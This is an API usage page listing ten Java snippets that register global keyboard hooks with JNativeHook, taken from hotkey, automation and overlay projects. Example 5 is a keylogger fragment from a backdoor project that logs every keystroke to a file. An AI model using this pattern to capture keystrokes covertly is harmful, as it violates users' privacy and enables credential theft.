Java Code Examples for org.jnativehook.GlobalScreen#addNativeKeyListener()

The following examples show how to use org.jnativehook.GlobalScreen#addNativeKeyListener() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: GlobalKeyListener.java    From Path-of-Leveling with MIT License 6 votes vote down vote up
public static void run() {
	try {
		GlobalScreen.registerNativeHook();
	}
	catch (NativeHookException ex) {
		System.err.println("There was a problem registering the native hook.");
		System.err.println(ex.getMessage());

		System.exit(1);
	}

               // Get the logger for "org.jnativehook" and set the level to off.
               Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
               logger.setLevel(Level.OFF);

               // Change the level for all handlers attached to the default logger.
               Handler[] handlers = Logger.getLogger("").getHandlers();
               for (int i = 0; i < handlers.length; i++) {
                       handlers[i].setLevel(Level.OFF);
               }

               setUpKeybinds();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example 2
Source File: Recorder.java    From SikuliX1 with MIT License 6 votes vote down vote up
/**
 * starts recording
 */
public void start() {
  if (!running) {
    RunTime.loadLibrary(RunTime.libOpenCV);
    running = true;

    eventsFlow.clear();
    currentImage = null;
    currentImageFilePath = null;

    try {
      screenshotDir = Files.createTempDirectory("sikulix").toFile();
      screenshotDir.deleteOnExit();
    } catch (IOException e) {
      throw new SikuliXception("Recorder: createTempDirectory: not possible");
    }

    screenshot(0);

    Recorder.registerNativeHook();
    GlobalScreen.addNativeKeyListener(this);
    GlobalScreen.addNativeMouseListener(this);
    GlobalScreen.addNativeMouseMotionListener(this);
    GlobalScreen.addNativeMouseWheelListener(this);
  }
}
 
Example 3
Source File: GlobalJNativeHookKeyListener.java    From Repeat with Apache License 2.0 6 votes vote down vote up
public static void main(String[] args) {
	// Get the logger for "org.jnativehook" and set the level to off.
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);

	// Change the level for all handlers attached to the default logger.
	Handler[] handlers = Logger.getLogger("").getHandlers();
	for (int i = 0; i < handlers.length; i++) {
		handlers[i].setLevel(Level.OFF);
	}

	GlobalJNativeHookKeyListener listener = new GlobalJNativeHookKeyListener();
	if (listener.startListening()) {
		GlobalScreen.addNativeKeyListener(listener);
	}
}
 
Example 4
Source File: JNativeKeyHandler.java    From Spark-Reader with GNU General Public License v3.0 6 votes vote down vote up
@Override
public void addListeners()
{
    // Set the event dispatcher to a swing safe executor service.
    GlobalScreen.setEventDispatcher(new SwingDispatchService());
    try
    {
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(this);
    }
    catch (NativeHookException ex)
    {
        System.err.println("Error starting KeyHandler:\n" + ex);
        System.err.println("Keyboard controls disabled");
    }
}
 
Example 5
Source File: KeyLogger.java    From BetterBackdoor with MIT License 5 votes vote down vote up
/**
 * Starts a key logger and logs keys to {@code dir}\keys.log.
 *
 * @param dir directory to log keys to
 */
public static void start(String dir) {
	try {
		out = new PrintWriter(new BufferedWriter(new FileWriter(dir + File.separator + "keys.log", true)));
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(new KeyLogger());
	} catch (Exception e) {
		if (out != null)
			out.close();
	}
}
 
Example 6
Source File: MainFm.java    From tools-ocr with GNU Lesser General Public License v3.0 5 votes vote down vote up
private static void initKeyHook(){
    try {
        Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
        logger.setLevel(Level.WARNING);
        logger.setUseParentHandlers(false);
        GlobalScreen.setEventDispatcher(new VoidDispatchService());
        GlobalScreen.registerNativeHook();
        GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
    }
    catch (Exception ex) {
        ex.printStackTrace();
    }
}
 
Example 7
Source File: KeyShortcutsPanel.java    From nanoleaf-desktop with MIT License 5 votes vote down vote up
private void startKeyListener()
{
	try
	{
		shortcutListener = new GlobalShortcutListener(shortcuts, devices);
		GlobalScreen.registerNativeHook();
		GlobalScreen.addNativeKeyListener(shortcutListener);
		Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
		logger.setLevel(Level.OFF);
	}
	catch (NativeHookException nhe)
	{
		nhe.printStackTrace();
		if (nhe.getMessage().equals("Failed to enable access for assistive devices.") &&
				System.getProperty("os.name").toLowerCase().contains("mac"))
		{
			new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
					"Please enable accessibility control to use the shortcuts feature.")
					.setVisible(true);
		}
	}
	catch (UnsatisfiedLinkError ule)
	{
		ule.printStackTrace();
		new TextDialog(KeyShortcutsPanel.this.getFocusCycleRootAncestor(),
				"Failed to setup shortcuts. Your platform may not be supported.")
				.setVisible(true);
	}
}
 
Example 8
Source File: BaseQQWindowContext.java    From foolqq with BSD 2-Clause "Simplified" License 5 votes vote down vote up
public BaseQQWindowContext(File point) throws AWTException, IOException, NativeHookException {
	robot = new Robot();
	pImage = ImageIO.read(point);
	WindowHandleTask wintask = new WindowHandleTask(this, map, robot);
	Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(wintask, checkInterval, checkInterval,
			TimeUnit.SECONDS);
	Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
	logger.setLevel(Level.OFF);
	logger.setUseParentHandlers(false);
	GlobalScreen.registerNativeHook();
	GlobalScreen.addNativeKeyListener(new GlobalKeyListener());
}
 
Example 9
Source File: HotKeysInterceptor.java    From MercuryTrade with MIT License 5 votes vote down vote up
public HotKeysInterceptor() {
    Logger logger = Logger.getLogger(GlobalScreen.class.getPackage().getName());
    logger.setLevel(Level.OFF);

    logger.setUseParentHandlers(false);
    try {
        GlobalScreen.registerNativeHook();
    } catch (NativeHookException e) {
        e.printStackTrace();
    }

    GlobalScreen.addNativeKeyListener(new MercuryNativeKeyListener());
    GlobalScreen.addNativeMouseListener(new MercuryNativeMouseListener());
}
 
Example 10
Source File: GlobalJNativeHookKeyListener.java    From Repeat with Apache License 2.0 4 votes vote down vote up
@Override
public boolean startListening() {
	GlobalScreen.addNativeKeyListener(this);
	return true;
}